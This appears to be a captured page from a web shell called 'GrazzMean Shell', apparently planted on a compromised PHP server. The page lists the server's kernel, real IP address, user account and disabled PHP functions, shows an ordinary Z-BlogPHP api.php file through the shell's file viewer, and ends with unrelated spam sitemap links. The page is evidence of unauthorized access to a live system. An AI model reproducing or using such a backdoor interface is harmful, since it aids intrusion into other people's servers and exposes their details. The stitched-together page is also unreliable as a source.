shell bypass 403

GrazzMean Shell

Uname: Linux yisu-647059427c03a 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64
Software: nginx/1.22.1
PHP version: 7.3.31 [ PHP INFO ] PHP os: Linux
Server Ip: 103.146.158.90
Your Ip: 216.73.216.141
User: www (1000) | Group: www (1000)
Safe Mode: OFF
Disable Function:
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

name : api.php
<?php

/**
 * Z-Blog with PHP.
 *
 * @author  Z-BlogPHP Team
 * @version 1.0 2020-07-01
 */

// 标记为 API 运行模式
define('ZBP_IN_API', true);

require 'function/c_system_base.php';

$zbp->Load();

ApiCheckEnable();

foreach ($GLOBALS['hooks']['Filter_Plugin_API_Begin'] as $fpname => &$fpsignal) {
    $fpname();
}

ApiCheckAuth(false, 'api');

ApiCheckLimit();

$mods = array();
$mods_allow = array(); //格式为 array( array('模块名'=>'方法名') )
$mods_disallow = array(); //如果是 array( array('模块名'=>'') )方法名为空将匹配整个模块
$mod = strtolower(GetVars('mod', 'GET'));
$act = strtolower(GetVars('act', 'GET'));

// 载入系统和应用的 mod
ApiLoadMods($mods);

//进行Api白名单和黑名单的检查
ApiCheckMods($mods_allow, $mods_disallow);

ApiLoadPostData();

ApiVerifyCSRF();

// 派发 API
ApiDispatch($mods, $mod, $act);
© 2026 GrazzMean
https://ai.shandianfk.com/wp-sitemap-posts-post-1.xmlhttps://ai.shandianfk.com/wp-sitemap-posts-page-1.xmlhttps://ai.shandianfk.com/wp-sitemap-taxonomies-category-1.xmlhttps://ai.shandianfk.com/wp-sitemap-taxonomies-post_tag-1.xmlhttps://ai.shandianfk.com/wp-sitemap-users-1.xml